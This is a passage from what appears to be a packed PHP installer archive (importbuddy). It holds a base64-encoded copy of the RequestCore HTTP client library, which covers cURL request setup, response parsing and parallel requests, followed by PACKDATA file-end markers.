1wX2hlYWRlcnMpOwoJCX0KCgkJc3dpdGNoICgkdGhpcy0+bWV0aG9kKQoJCXsKCQkJY2FzZSBzZWxmOjpIVFRQX1BVVDoKCQkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCAnUFVUJyk7CgkJCQlpZiAoaXNzZXQoJHRoaXMtPnJlYWRfc3RyZWFtKSkKCQkJCXsKCQkJCQlpZiAoIWlzc2V0KCR0aGlzLT5yZWFkX3N0cmVhbV9zaXplKSB8fCAkdGhpcy0+cmVhZF9zdHJlYW1fc2l6ZSA8IDApCgkJCQkJewoJCQkJCQl0aHJvdyBuZXcgUmVxdWVzdENvcmVfRXhjZXB0aW9uKCdUaGUgc3RyZWFtIHNpemUgZm9yIHRoZSBzdHJlYW1pbmcgdXBsb2FkIGNhbm5vdCBiZSBkZXRlcm1pbmVkLicpOwoJCQkJCX0KCgkJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0lORklMRVNJWkUsICR0aGlzLT5yZWFkX3N0cmVhbV9zaXplKTsKCQkJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfVVBMT0FELCB0cnVlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfUE9TVEZJRUxEUywgJHRoaXMtPnJlcXVlc3RfYm9keSk7CgkJCQl9CgkJCQlicmVhazsKCgkJCWNhc2Ugc2VsZjo6SFRUUF9QT1NUOgoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1BPU1QsIHRydWUpOwoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1BPU1RGSUVMRFMsICR0aGlzLT5yZXF1ZXN0X2JvZHkpOwoJCQkJYnJlYWs7CgoJCQljYXNlIHNlbGY6OkhUVFBfSEVBRDoKCQkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCBzZWxmOjpIVFRQX0hFQUQpOwoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX05PQk9EWSwgMSk7CgkJCQlicmVhazsKCgkJCWRlZmF1bHQ6IC8vIEFzc3VtZWQgR0VUCgkJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCwgJHRoaXMtPm1ldGhvZCk7CgkJCQlpZiAoaXNzZXQoJHRoaXMtPndyaXRlX3N0cmVhbSkpCgkJCQl7CgkJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1dSSVRFRlVOQ1RJT04sIGFycmF5KCR0aGlzLCAnc3RyZWFtaW5nX3dyaXRlX2NhbGxiYWNrJykpOwoJCQkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfUE9TVEZJRUxEUywgJHRoaXMtPnJlcXVlc3RfYm9keSk7CgkJCQl9CgkJCQlicmVhazsKCQl9CgoJCS8vIE1lcmdlIGluIHRoZSBDVVJMT1BUcwoJCWlmIChpc3NldCgkdGhpcy0+Y3VybG9wdHMpICYmIHNpemVvZigkdGhpcy0+Y3VybG9wdHMpID4gMCkKCQl7CgkJCWZvcmVhY2ggKCR0aGlzLT5jdXJsb3B0cyBhcyAkayA9PiAkdikKCQkJewoJCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCAkaywgJHYpOwoJCQl9CgkJfQoKCQlyZXR1cm4gJGN1cmxfaGFuZGxlOwoJfQoKCS8qKgoJICogVGFrZSB0aGUgcG9zdC1wcm9jZXNzZWQgY1VSTCBkYXRhIGFuZCBicmVhayBpdCBkb3duIGludG8gdXNlZnVsIGhlYWRlci9ib2R5L2luZm8gY2h1bmtzLiBVc2VzIHRoZQoJICogZGF0YSBzdG9yZWQgaW4gdGhlIGBjdXJsX2hhbmRsZWAgYW5kIGByZXNwb25zZWAgcHJvcGVydGllcyB1bmxlc3MgcmVwbGFjZW1lbnQgZGF0YSBpcyBwYXNzZWQgaW4gdmlhCgkgKiBwYXJhbWV0ZXJzLgoJICoKCSAqIEBwYXJhbSByZXNvdXJjZSAkY3VybF9oYW5kbGUgKE9wdGlvbmFsKSBUaGUgcmVmZXJlbmNlIHRvIHRoZSBhbHJlYWR5IGV4ZWN1dGVkIGNVUkwgcmVxdWVzdC4KCSAqIEBwYXJhbSBzdHJpbmcgJHJlc3BvbnNlIChPcHRpb25hbCkgVGhlIGFjdHVhbCByZXNwb25zZSBjb250ZW50IGl0c2VsZiB0aGF0IG5lZWRzIHRvIGJlIHBhcnNlZC4KCSAqIEByZXR1cm4gUmVzcG9uc2VDb3JlIEEgPFJlc3BvbnNlQ29yZT4gb2JqZWN0IGNvbnRhaW5pbmcgYSBwYXJzZWQgSFRUUCByZXNwb25zZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHByb2Nlc3NfcmVzcG9uc2UoJGN1cmxfaGFuZGxlID0gbnVsbCwgJHJlc3BvbnNlID0gbnVsbCkKCXsKCQkvLyBBY2NlcHQgYSBjdXN0b20gb25lIGlmIGl0J3MgcGFzc2VkLgoJCWlmICgkY3VybF9oYW5kbGUgJiYgJHJlc3BvbnNlKQoJCXsKCQkJJHRoaXMtPmN1cmxfaGFuZGxlID0gJGN1cmxfaGFuZGxlOwoJCQkkdGhpcy0+cmVzcG9uc2UgPSAkcmVzcG9uc2U7CgkJfQoKCQkvLyBBcyBsb25nIGFzIHRoaXMgY2FtZSBiYWNrIGFzIGEgdmFsaWQgcmVzb3VyY2UuLi4KCQlpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPmN1cmxfaGFuZGxlKSkKCQl7CgkJCS8vIERldGVybWluZSB3aGF0J3Mgd2hhdC4KCQkJJGhlYWRlcl9zaXplID0gY3VybF9nZXRpbmZvKCR0aGlzLT5jdXJsX2hhbmRsZSwgQ1VSTElORk9fSEVBREVSX1NJWkUpOwoJCQkkdGhpcy0+cmVzcG9uc2VfaGVhZGVycyA9IHN1YnN0cigkdGhpcy0+cmVzcG9uc2UsIDAsICRoZWFkZXJfc2l6ZSk7CgkJCSR0aGlzLT5yZXNwb25zZV9ib2R5ID0gc3Vic3RyKCR0aGlzLT5yZXNwb25zZSwgJGhlYWRlcl9zaXplKTsKCQkJJHRoaXMtPnJlc3BvbnNlX2NvZGUgPSBjdXJsX2dldGluZm8oJHRoaXMtPmN1cmxfaGFuZGxlLCBDVVJMSU5GT19IVFRQX0NPREUpOwoJCQkkdGhpcy0+cmVzcG9uc2VfaW5mbyA9IGN1cmxfZ2V0aW5mbygkdGhpcy0+Y3VybF9oYW5kbGUpOwoKCQkJLy8gUGFyc2Ugb3V0IHRoZSBoZWFkZXJzCgkJCSR0aGlzLT5yZXNwb25zZV9oZWFkZXJzID0gZXhwbG9kZSgiXHJcblxyXG4iLCB0cmltKCR0aGlzLT5yZXNwb25zZV9oZWFkZXJzKSk7CgkJCSR0aGlzLT5yZXNwb25zZV9oZWFkZXJzID0gYXJyYXlfcG9wKCR0aGlzLT5yZXNwb25zZV9oZWFkZXJzKTsKCQkJJHRoaXMtPnJlc3BvbnNlX2hlYWRlcnMgPSBleHBsb2RlKCJcclxuIiwgJHRoaXMtPnJlc3BvbnNlX2hlYWRlcnMpOwoJCQlhcnJheV9zaGlmdCgkdGhpcy0+cmVzcG9uc2VfaGVhZGVycyk7CgoJCQkvLyBMb29wIHRocm91Z2ggYW5kIHNwbGl0IHVwIHRoZSBoZWFkZXJzLgoJCQkkaGVhZGVyX2Fzc29jID0gYXJyYXkoKTsKCQkJZm9yZWFjaCAoJHRoaXMtPnJlc3BvbnNlX2hlYWRlcnMgYXMgJGhlYWRlcikKCQkJewoJCQkJJGt2ID0gZXhwbG9kZSgnOiAnLCAkaGVhZGVyKTsKCQkJCSRoZWFkZXJfYXNzb2Nbc3RydG9sb3dlcigka3ZbMF0pXSA9ICRrdlsxXTsKCQkJfQoKCQkJLy8gUmVzZXQgdGhlIGhlYWRlcnMgdG8gdGhlIGFwcHJvcHJpYXRlIHByb3BlcnR5LgoJCQkkdGhpcy0+cmVzcG9uc2VfaGVhZGVycyA9ICRoZWFkZXJfYXNzb2M7CgkJCSR0aGlzLT5yZXNwb25zZV9oZWFkZXJzWydfaW5mbyddID0gJHRoaXMtPnJlc3BvbnNlX2luZm87CgkJCSR0aGlzLT5yZXNwb25zZV9oZWFkZXJzWydfaW5mbyddWydtZXRob2QnXSA9ICR0aGlzLT5tZXRob2Q7CgoJCQlpZiAoJGN1cmxfaGFuZGxlICYmICRyZXNwb25zZSkKCQkJewoJCQkJcmV0dXJuIG5ldyAkdGhpcy0+cmVzcG9uc2VfY2xhc3MoJHRoaXMtPnJlc3BvbnNlX2hlYWRlcnMsICR0aGlzLT5yZXNwb25zZV9ib2R5LCAkdGhpcy0+cmVzcG9uc2VfY29kZSwgJHRoaXMtPmN1cmxfaGFuZGxlKTsKCQkJfQoJCX0KCgkJLy8gUmV0dXJuIGZhbHNlCgkJcmV0dXJuIGZhbHNlOwoJfQoKCS8qKgoJICogU2VuZHMgdGhlIHJlcXVlc3QsIGNhbGxpbmcgbmVjZXNzYXJ5IHV0aWxpdHkgZnVuY3Rpb25zIHRvIHVwZGF0ZSBidWlsdC1pbiBwcm9wZXJ0aWVzLgoJICoKCSAqIEBwYXJhbSBib29sZWFuICRwYXJzZSAoT3B0aW9uYWwpIFdoZXRoZXIgdG8gcGFyc2UgdGhlIHJlc3BvbnNlIHdpdGggUmVzcG9uc2VDb3JlIG9yIG5vdC4KCSAqIEByZXR1cm4gc3RyaW5nIFRoZSByZXN1bHRpbmcgdW5wYXJzZWQgZGF0YSBmcm9tIHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2VuZF9yZXF1ZXN0KCRwYXJzZSA9IGZhbHNlKQoJewoJCWlmICgkdGhpcy0+YWxsb3dfc2V0X3RpbWVfbGltaXQpCgkJewoJCQlzZXRfdGltZV9saW1pdCgwKTsKCQl9CgoJCSRjdXJsX2hhbmRsZSA9ICR0aGlzLT5wcmVwX3JlcXVlc3QoKTsKCQkkdGhpcy0+cmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGN1cmxfaGFuZGxlKTsKCgkJaWYgKCR0aGlzLT5yZXNwb25zZSA9PT0gZmFsc2UpCgkJewoJCQl0aHJvdyBuZXcgY1VSTF9FeGNlcHRpb24oJ2NVUkwgcmVzb3VyY2U6ICcgLiAoc3RyaW5nKSAkY3VybF9oYW5kbGUgLiAnOyBjVVJMIGVycm9yOiAnIC4gY3VybF9lcnJvcigkY3VybF9oYW5kbGUpIC4gJyAoY1VSTCBlcnJvciBjb2RlICcgLiBjdXJsX2Vycm5vKCRjdXJsX2hhbmRsZSkgLiAnKS4gU2VlIGh0dHA6Ly9jdXJsLmhheHguc2UvbGliY3VybC9jL2xpYmN1cmwtZXJyb3JzLmh0bWwgZm9yIGFuIGV4cGxhbmF0aW9uIG9mIGVycm9yIGNvZGVzLicpOwoJCX0KCgkJJHBhcnNlZF9yZXNwb25zZSA9ICR0aGlzLT5wcm9jZXNzX3Jlc3BvbnNlKCRjdXJsX2hhbmRsZSwgJHRoaXMtPnJlc3BvbnNlKTsKCgkJY3VybF9jbG9zZSgkY3VybF9oYW5kbGUpOwoKCQlpZiAoJHBhcnNlKQoJCXsKCQkJcmV0dXJuICRwYXJzZWRfcmVzcG9uc2U7CgkJfQoKCQlyZXR1cm4gJHRoaXMtPnJlc3BvbnNlOwoJfQoKCS8qKgoJICogU2VuZHMgdGhlIHJlcXVlc3QgdXNpbmcgPHBocDpjdXJsX211bHRpX2V4ZWMoKT4sIGVuYWJsaW5nIHBhcmFsbGVsIHJlcXVlc3RzLiBVc2VzIHRoZSAicm9sbGluZyIgbWV0aG9kLgoJICoKCSAqIEBwYXJhbSBhcnJheSAkaGFuZGxlcyAoUmVxdWlyZWQpIEFuIGluZGV4ZWQgYXJyYXkgb2YgY1VSTCBoYW5kbGVzIHRvIHByb2Nlc3Mgc2ltdWx0YW5lb3VzbHkuCgkgKiBAcGFyYW0gYXJyYXkgJG9wdCAoT3B0aW9uYWwpIEFuIGFzc29jaWF0aXZlIGFycmF5IG9mIHBhcmFtZXRlcnMgdGhhdCBjYW4gaGF2ZSB0aGUgZm9sbG93aW5nIGtleXM6IDx1bD4KCSAqIAk8bGk+PGNvZGU+Y2FsbGJhY2s8L2NvZGU+IC0gPGNvZGU+c3RyaW5nfGFycmF5PC9jb2RlPiAtIE9wdGlvbmFsIC0gVGhlIHN0cmluZyBuYW1lIG9mIGEgZnVuY3Rpb24gdG8gcGFzcyB0aGUgcmVzcG9uc2UgZGF0YSB0by4gSWYgdGhpcyBpcyBhIG1ldGhvZCwgcGFzcyBhbiBhcnJheSB3aGVyZSB0aGUgPGNvZGU+WzBdPC9jb2RlPiBpbmRleCBpcyB0aGUgY2xhc3MgYW5kIHRoZSA8Y29kZT5bMV08L2NvZGU+IGluZGV4IGlzIHRoZSBtZXRob2QgbmFtZS48L2xpPgoJICogCTxsaT48Y29kZT5saW1pdDwvY29kZT4gLSA8Y29kZT5pbnRlZ2VyPC9jb2RlPiAtIE9wdGlvbmFsIC0gVGhlIG51bWJlciBvZiBzaW11bHRhbmVvdXMgcmVxdWVzdHMgdG8gbWFrZS4gVGhpcyBjYW4gYmUgdXNlZnVsIGZvciBzY2FsaW5nIGFyb3VuZCBzbG93IHNlcnZlciByZXNwb25zZXMuIERlZmF1bHRzIHRvIHRydXN0aW5nIGNVUkxzIGp1ZGdlbWVudCBhcyB0byBob3cgbWFueSB0byB1c2UuPC9saT48L3VsPgoJICogQHJldHVybiBhcnJheSBQb3N0LXByb2Nlc3NlZCBjVVJMIHJlc3BvbnNlcy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNlbmRfbXVsdGlfcmVxdWVzdCgkaGFuZGxlcywgJG9wdCA9IG51bGwpCgl7CgkJaWYgKCR0aGlzLT5hbGxvd19zZXRfdGltZV9saW1pdCkKCQl7CgkJCXNldF90aW1lX2xpbWl0KDApOwoJCX0KCgkJLy8gU2tpcCBldmVyeXRoaW5nIGlmIHRoZXJlIGFyZSBubyBoYW5kbGVzIHRvIHByb2Nlc3MuCgkJaWYgKGNvdW50KCRoYW5kbGVzKSA9PT0gMCkgcmV0dXJuIGFycmF5KCk7CgoJCWlmICghJG9wdCkgJG9wdCA9IGFycmF5KCk7CgoJCS8vIEluaXRpYWxpemUgYW55IG1pc3Npbmcgb3B0aW9ucwoJCSRsaW1pdCA9IGlzc2V0KCRvcHRbJ2xpbWl0J10pID8gJG9wdFsnbGltaXQnXSA6IC0xOwoKCQkvLyBJbml0aWFsaXplCgkJJGhhbmRsZV9saXN0ID0gJGhhbmRsZXM7CgkJJGh0dHAgPSBuZXcgJHRoaXMtPnJlcXVlc3RfY2xhc3MoKTsKCQkkbXVsdGlfaGFuZGxlID0gY3VybF9tdWx0aV9pbml0KCk7CgkJJGhhbmRsZXNfcG9zdCA9IGFycmF5KCk7CgkJJGFkZGVkID0gY291bnQoJGhhbmRsZXMpOwoJCSRsYXN0X2hhbmRsZSA9IG51bGw7CgkJJGNvdW50ID0gMDsKCQkkaSA9IDA7CgoJCS8vIExvb3AgdGhyb3VnaCB0aGUgY1VSTCBoYW5kbGVzIGFuZCBhZGQgYXMgbWFueSBhcyBpdCBzZXQgYnkgdGhlIGxpbWl0IHBhcmFtZXRlci4KCQl3aGlsZSAoJGkgPCAkYWRkZWQpCgkJewoJCQlpZiAoJGxpbWl0ID4gMCAmJiAkaSA+PSAkbGltaXQpIGJyZWFrOwoJCQljdXJsX211bHRpX2FkZF9oYW5kbGUoJG11bHRpX2hhbmRsZSwgYXJyYXlfc2hpZnQoJGhhbmRsZXMpKTsKCQkJJGkrKzsKCQl9CgoJCWRvCgkJewoJCQkkYWN0aXZlID0gZmFsc2U7CgoJCQkvLyBTdGFydCBleGVjdXRpbmcgYW5kIHdhaXQgZm9yIGEgcmVzcG9uc2UuCgkJCXdoaWxlICgoJHN0YXR1cyA9IGN1cmxfbXVsdGlfZXhlYygkbXVsdGlfaGFuZGxlLCAkYWN0aXZlKSkgPT09IENVUkxNX0NBTExfTVVMVElfUEVSRk9STSkKCQkJewoJCQkJLy8gU3RhcnQgbG9va2luZyBmb3IgcG9zc2libGUgcmVzcG9uc2VzIGltbWVkaWF0ZWx5IHdoZW4gd2UgaGF2ZSB0byBhZGQgbW9yZSBoYW5kbGVzCgkJCQlpZiAoY291bnQoJGhhbmRsZXMpID4gMCkgYnJlYWs7CgkJCX0KCgkJCS8vIEZpZ3VyZSBvdXQgd2hpY2ggcmVxdWVzdHMgZmluaXNoZWQuCgkJCSR0b19wcm9jZXNzID0gYXJyYXkoKTsKCgkJCXdoaWxlICgkZG9uZSA9IGN1cmxfbXVsdGlfaW5mb19yZWFkKCRtdWx0aV9oYW5kbGUpKQoJCQl7CgkJCQkvLyBTaW5jZSBjdXJsX2Vycm5vKCkgaXNuJ3QgcmVsaWFibGUgZm9yIGhhbmRsZXMgdGhhdCB3ZXJlIGluIG11bHRpcmVxdWVzdHMsIHdlIGNoZWNrIHRoZSAncmVzdWx0JyBvZiB0aGUgaW5mbyByZWFkLCB3aGljaCBjb250YWlucyB0aGUgY3VybCBlcnJvciBudW1iZXIsIChsaXN0ZWQgaGVyZSBodHRwOi8vY3VybC5oYXh4LnNlL2xpYmN1cmwvYy9saWJjdXJsLWVycm9ycy5odG1sICkKCQkJCWlmICgkZG9uZVsncmVzdWx0J10gPiAwKQoJCQkJewoJCQkJCXRocm93IG5ldyBjVVJMX011bHRpX0V4Y2VwdGlvbignY1VSTCByZXNvdXJjZTogJyAuIChzdHJpbmcpICRkb25lWydoYW5kbGUnXSAuICc7IGNVUkwgZXJyb3I6ICcgLiBjdXJsX2Vycm9yKCRkb25lWydoYW5kbGUnXSkgLiAnIChjVVJMIGVycm9yIGNvZGUgJyAuICRkb25lWydyZXN1bHQnXSAuICcpLiBTZWUgaHR0cDovL2N1cmwuaGF4eC5zZS9saWJjdXJsL2MvbGliY3VybC1lcnJvcnMuaHRtbCBmb3IgYW4gZXhwbGFuYXRpb24gb2YgZXJyb3IgY29kZXMuJyk7CgkJCQl9CgoJCQkJLy8gQmVjYXVzZSBjdXJsX211bHRpX2luZm9fcmVhZCgpIG1pZ2h0IHJldHVybiBtb3JlIHRoYW4gb25lIG1lc3NhZ2UgYWJvdXQgYSByZXF1ZXN0LCB3ZSBjaGVjayB0byBzZWUgaWYgdGhpcyByZXF1ZXN0IGlzIGFscmVhZHkgaW4gb3VyIGFycmF5IG9mIGNvbXBsZXRlZCByZXF1ZXN0cwoJCQkJZWxzZWlmICghaXNzZXQoJHRvX3Byb2Nlc3NbKGludCkgJGRvbmVbJ2hhbmRsZSddXSkpCgkJCQl7CgkJCQkJJHRvX3Byb2Nlc3NbKGludCkgJGRvbmVbJ2hhbmRsZSddXSA9ICRkb25lOwoJCQkJfQoJCQl9CgoJCQkvLyBBY3R1YWxseSBkZWFsIHdpdGggdGhlIHJlcXVlc3QKCQkJZm9yZWFjaCAoJHRvX3Byb2Nlc3MgYXMgJHBrZXkgPT4gJGRvbmUpCgkJCXsKCQkJCSRyZXNwb25zZSA9ICRodHRwLT5wcm9jZXNzX3Jlc3BvbnNlKCRkb25lWydoYW5kbGUnXSwgY3VybF9tdWx0aV9nZXRjb250ZW50KCRkb25lWydoYW5kbGUnXSkpOwoJCQkJJGtleSA9IGFycmF5X3NlYXJjaCgkZG9uZVsnaGFuZGxlJ10sICRoYW5kbGVfbGlzdCwgdHJ1ZSk7CgkJCQkkaGFuZGxlc19wb3N0WyRrZXldID0gJHJlc3BvbnNlOwoKCQkJCWlmIChjb3VudCgkaGFuZGxlcykgPiAwKQoJCQkJewoJCQkJCWN1cmxfbXVsdGlfYWRkX2hhbmRsZSgkbXVsdGlfaGFuZGxlLCBhcnJheV9zaGlmdCgkaGFuZGxlcykpOwoJCQkJfQoKCQkJCWN1cmxfbXVsdGlfcmVtb3ZlX2hhbmRsZSgkbXVsdGlfaGFuZGxlLCAkZG9uZVsnaGFuZGxlJ10pOwoJCQkJY3VybF9jbG9zZSgkZG9uZVsnaGFuZGxlJ10pOwoJCQl9CgkJfQoJCXdoaWxlICgkYWN0aXZlIHx8IGNvdW50KCRoYW5kbGVzX3Bvc3QpIDwgJGFkZGVkKTsKCgkJY3VybF9tdWx0aV9jbG9zZSgkbXVsdGlfaGFuZGxlKTsKCgkJa3NvcnQoJGhhbmRsZXNfcG9zdCwgU09SVF9OVU1FUklDKTsKCQlyZXR1cm4gJGhhbmRsZXNfcG9zdDsKCX0KCgoJLyolKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqJSovCgkvLyBSRVNQT05TRSBNRVRIT0RTCgoJLyoqCgkgKiBHZXQgdGhlIEhUVFAgcmVzcG9uc2UgaGVhZGVycyBmcm9tIHRoZSByZXF1ZXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciAoT3B0aW9uYWwpIEEgc3BlY2lmaWMgaGVhZGVyIHZhbHVlIHRvIHJldHVybi4gRGVmYXVsdHMgdG8gYWxsIGhlYWRlcnMuCgkgKiBAcmV0dXJuIHN0cmluZ3xhcnJheSBBbGwgb3Igc2VsZWN0ZWQgaGVhZGVyIHZhbHVlcy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF9yZXNwb25zZV9oZWFkZXIoJGhlYWRlciA9IG51bGwpCgl7CgkJaWYgKCRoZWFkZXIpCgkJewoJCQlyZXR1cm4gJHRoaXMtPnJlc3BvbnNlX2hlYWRlcnNbc3RydG9sb3dlcigkaGVhZGVyKV07CgkJfQoJCXJldHVybiAkdGhpcy0+cmVzcG9uc2VfaGVhZGVyczsKCX0KCgkvKioKCSAqIEdldCB0aGUgSFRUUCByZXNwb25zZSBib2R5IGZyb20gdGhlIHJlcXVlc3QuCgkgKgoJICogQHJldHVybiBzdHJpbmcgVGhlIHJlc3BvbnNlIGJvZHkuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfcmVzcG9uc2VfYm9keSgpCgl7CgkJcmV0dXJuICR0aGlzLT5yZXNwb25zZV9ib2R5OwoJfQoKCS8qKgoJICogR2V0IHRoZSBIVFRQIHJlc3BvbnNlIGNvZGUgZnJvbSB0aGUgcmVxdWVzdC4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyBUaGUgSFRUUCByZXNwb25zZSBjb2RlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X3Jlc3BvbnNlX2NvZGUoKQoJewoJCXJldHVybiAkdGhpcy0+cmVzcG9uc2VfY29kZTsKCX0KfQoKCi8qKgogKiBDb250YWluZXIgZm9yIGFsbCByZXNwb25zZS1yZWxhdGVkIG1ldGhvZHMuCiAqLwpjbGFzcyBSZXNwb25zZUNvcmUKewoJLyoqCgkgKiBTdG9yZXMgdGhlIEhUVFAgaGVhZGVyIGluZm9ybWF0aW9uLgoJICovCglwdWJsaWMgJGhlYWRlcjsKCgkvKioKCSAqIFN0b3JlcyB0aGUgU2ltcGxlWE1MIHJlc3BvbnNlLgoJICovCglwdWJsaWMgJGJvZHk7CgoJLyoqCgkgKiBTdG9yZXMgdGhlIEhUVFAgcmVzcG9uc2UgY29kZS4KCSAqLwoJcHVibGljICRzdGF0dXM7CgoJLyoqCgkgKiBDb25zdHJ1Y3RzIGEgbmV3IGluc3RhbmNlIG9mIHRoaXMgY2xhc3MuCgkgKgoJICogQHBhcmFtIGFycmF5ICRoZWFkZXIgKFJlcXVpcmVkKSBBc3NvY2lhdGl2ZSBhcnJheSBvZiBIVFRQIGhlYWRlcnMgKHR5cGljYWxseSByZXR1cm5lZCBieSA8UmVxdWVzdENvcmU6OmdldF9yZXNwb25zZV9oZWFkZXIoKT4pLgoJICogQHBhcmFtIHN0cmluZyAkYm9keSAoUmVxdWlyZWQpIFhNTC1mb3JtYXR0ZWQgcmVzcG9uc2UgZnJvbSBBV1MuCgkgKiBAcGFyYW0gaW50ZWdlciAkc3RhdHVzIChPcHRpb25hbCkgSFRUUCByZXNwb25zZSBzdGF0dXMgY29kZSBmcm9tIHRoZSByZXF1ZXN0LgoJICogQHJldHVybiBvYmplY3QgQ29udGFpbnMgYW4gPHBocDphcnJheT4gYGhlYWRlcmAgcHJvcGVydHkgKEhUVFAgaGVhZGVycyBhcyBhbiBhc3NvY2lhdGl2ZSBhcnJheSksIGEgPHBocDpTaW1wbGVYTUxFbGVtZW50PiBvciA8cGhwOnN0cmluZz4gYGJvZHlgIHByb3BlcnR5LCBhbmQgYW4gPHBocDppbnRlZ2VyPiBgc3RhdHVzYCBjb2RlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGhlYWRlciwgJGJvZHksICRzdGF0dXMgPSBudWxsKQoJewoJCSR0aGlzLT5oZWFkZXIgPSAkaGVhZGVyOwoJCSR0aGlzLT5ib2R5ID0gJGJvZHk7CgkJJHRoaXMtPnN0YXR1cyA9ICRzdGF0dXM7CgoJCXJldHVybiAkdGhpczsKCX0KCgkvKioKCSAqIERpZCB3ZSByZWNlaXZlIHRoZSBzdGF0dXMgY29kZSB3ZSBleHBlY3RlZD8KCSAqCgkgKiBAcGFyYW0gaW50ZWdlcnxhcnJheSAkY29kZXMgKE9wdGlvbmFsKSBUaGUgc3RhdHVzIGNvZGUocykgdG8gZXhwZWN0LiBQYXNzIGFuIDxwaHA6aW50ZWdlcj4gZm9yIGEgc2luZ2xlIGFjY2VwdGFibGUgdmFsdWUsIG9yIGFuIDxwaHA6YXJyYXk+IG9mIGludGVnZXJzIGZvciBtdWx0aXBsZSBhY2NlcHRhYmxlIHZhbHVlcy4KCSAqIEByZXR1cm4gYm9vbGVhbiBXaGV0aGVyIHdlIHJlY2VpdmVkIHRoZSBleHBlY3RlZCBzdGF0dXMgY29kZSBvciBub3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBpc09LKCRjb2RlcyA9IGFycmF5KDIwMCwgMjAxLCAyMDQsIDIwNikpCgl7CgkJaWYgKGlzX2FycmF5KCRjb2RlcykpCgkJewoJCQlyZXR1cm4gaW5fYXJyYXkoJHRoaXMtPnN0YXR1cywgJGNvZGVzKTsKCQl9CgoJCXJldHVybiAkdGhpcy0+c3RhdHVzID09PSAkY29kZXM7Cgl9Cn0KCmNsYXNzIGNVUkxfRXhjZXB0aW9uIGV4dGVuZHMgRXhjZXB0aW9uIHt9CmNsYXNzIGNVUkxfTXVsdGlfRXhjZXB0aW9uIGV4dGVuZHMgY1VSTF9FeGNlcHRpb24ge30KY2xhc3MgUmVxdWVzdENvcmVfRXhjZXB0aW9uIGV4dGVuZHMgRXhjZXB0aW9uIHt9Cg==
###PACKDATA,FILE_END,/destinations/_s3lib/aws-sdk/lib/requestcore/requestcore.class.php,importbuddy/lib/requestcore/requestcore.class.php
###PACKDATA,END
*/